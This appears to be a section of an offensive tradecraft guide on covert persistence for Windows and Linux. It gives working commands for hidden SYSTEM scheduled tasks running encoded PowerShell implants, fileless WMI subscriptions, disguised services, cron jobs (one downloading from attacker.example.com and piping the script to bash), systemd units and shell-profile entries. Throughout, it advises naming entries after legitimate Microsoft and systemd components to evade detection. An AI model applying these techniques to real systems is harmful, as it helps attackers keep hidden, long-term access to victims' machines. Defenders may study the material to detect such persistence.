Living persistence¶
Living persistence uses the operating system’s own scheduling and automation mechanisms: scheduled tasks, WMI subscriptions, cron jobs, systemd services. No additional tooling required, no binaries to drop, nothing that does not already exist on every managed system.
The key to making this work is naming discipline and blending the persistence entry into the expected noise of the system.
Windows scheduled tasks¶
Scheduled tasks are the most common Windows persistence mechanism and the most monitored. The goal is to make the task indistinguishable from the dozens of legitimate tasks already present.
# create a scheduled task that mimics a legitimate update mechanism
$action = New-ScheduledTaskAction -Execute 'powershell.exe' `
-Argument '-w hidden -nop -enc BASE64_IMPLANT'
$trigger = New-ScheduledTaskTrigger -AtLogOn
# or: -Daily -At '09:00' -RandomDelay (New-TimeSpan -Minutes 30)
$settings = New-ScheduledTaskSettingsSet -Hidden -ExecutionTimeLimit ([TimeSpan]::Zero)
$principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount `
-RunLevel Highest
Register-ScheduledTask `
-TaskName 'Microsoft\Windows\UpdateOrchestrator\ScheduledStart' `
-TaskPath '\Microsoft\Windows\UpdateOrchestrator\' `
-Action $action `
-Trigger $trigger `
-Settings $settings `
-Principal $principal `
-Force
The task path \Microsoft\Windows\UpdateOrchestrator\ contains legitimate Windows
tasks; adding one here is less conspicuous than a task in the root. Use task names
that match the existing naming convention in that folder.
For lower-privilege contexts, user-level tasks:
# user-level task: runs at logon without administrator privileges
$trigger = New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME
Register-ScheduledTask -TaskName 'OneDrive Sync Helper' `
-Action $action -Trigger $trigger -RunLevel Limited
WMI event subscriptions (fileless, survives reboot)¶
WMI event subscriptions persist across reboots without creating files or scheduled tasks visible in the Task Scheduler UI. They are the preferred fileless persistence mechanism on Windows.
# create WMI persistence: runs every 10 minutes
$filterArgs = @{
Name = 'WindowsSecurityHealth'
EventNamespace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments $filterArgs
$consumerArgs = @{
Name = 'WindowsSecurityHealth'
CommandLineTemplate = 'powershell.exe -w hidden -nop -enc BASE64_IMPLANT'
}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments $consumerArgs
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{
Filter = $filter; Consumer = $consumer
}
The name WindowsSecurityHealth is plausible enough to not stand out in a WMI
subscription audit. Use names that match existing WMI subscription names in the
environment if known.
Windows services¶
A new service provides persistent execution as SYSTEM and is a legitimate, documented Windows mechanism:
# create a service (requires administrator)
sc.exe create "Windows Audio Service Helper" `
binpath= "C:\Windows\System32\svchost.exe -k netsvcs" `
start= auto type= own
# or with a custom binary (if a file can be placed)
New-Service -Name "WinAudioSvcHelper" `
-BinaryPathName "C:\Windows\System32\wuauclt.exe" `
-DisplayName "Windows Audio Service Helper" `
-StartupType Automatic
# the actual payload is a LoLbin or reflectively loaded; the service entry just
# points to a legitimate binary with a malicious command line
Services are highly monitored. The service name, display name, and binary path should all match the environment’s naming conventions.
Linux cron¶
# user crontab (no root required)
crontab -e
# add:
*/15 * * * * /usr/bin/curl -s https://attacker.example.com/update.sh | bash 2>/dev/null
# or place directly
(crontab -l 2>/dev/null; echo "*/15 * * * * /usr/bin/python3 -c 'import ...'") | crontab -
# system-wide cron (requires root)
echo "*/15 * * * * root /usr/local/bin/sysmon-agent" > /etc/cron.d/sysmon-agent
# /etc/cron.d/ entries look like system cron jobs; blend in with the others
ls /etc/cron.d/ # use a similar name format to what is present
Linux systemd¶
A systemd service or timer provides reliable persistence and is harder to spot than a cron job:
# create a systemd service (requires root, or ~/.config/systemd/user/ for user services)
cat > /etc/systemd/system/systemd-netmon.service <<'EOF'
[Unit]
Description=Network Monitor Service
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/python3 /usr/local/lib/netmon.py
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
systemctl enable systemd-netmon
systemctl start systemd-netmon
The service name systemd-netmon mimics the systemd-* naming convention of
legitimate systemd services. Place the payload at a path consistent with system
binaries (/usr/local/lib/, /usr/libexec/).
User-level systemd persistence (no root required):
mkdir -p ~/.config/systemd/user/
# create the service file in ~/.config/systemd/user/
systemctl --user enable servicename
systemctl --user start servicename
loginctl enable-linger $USER # ensures user services start at boot without login
Linux shell profile and initialisation files¶
Persistence via shell profile files: runs whenever a user opens a shell, no special privileges required.
# append to user's .bashrc or .bash_profile
echo 'nohup /usr/bin/python3 -c "import ... " &>/dev/null &' >> ~/.bashrc
# system-wide (requires root)
echo 'nohup /usr/local/bin/update-agent &>/dev/null &' >> /etc/bash.bashrc
# or place in /etc/profile.d/
echo 'nohup /usr/local/bin/update-agent &>/dev/null &' > /etc/profile.d/sysupdate.sh
This only fires when a user logs in interactively. It is unreliable for servers with no interactive logins; use cron or systemd for reliable headless persistence.
Naming discipline¶
The difference between persistence that gets caught immediately and persistence that survives for months is naming. Before creating any persistence entry:
Check what names already exist in that mechanism (Task Scheduler, services, cron.d, systemd units)
Match the naming convention: capitalisation, separator style (hyphens vs underscores), prefix patterns
Use display names and descriptions that match the surrounding legitimate entries
Place files in paths consistent with the system’s existing layout
An entry named backdoor in a Task Scheduler full of Microsoft\Windows\* entries
will be found immediately. An entry named Microsoft\Windows\UpdateOrchestrator\ScheduledStart
that runs identical code may survive indefinitely.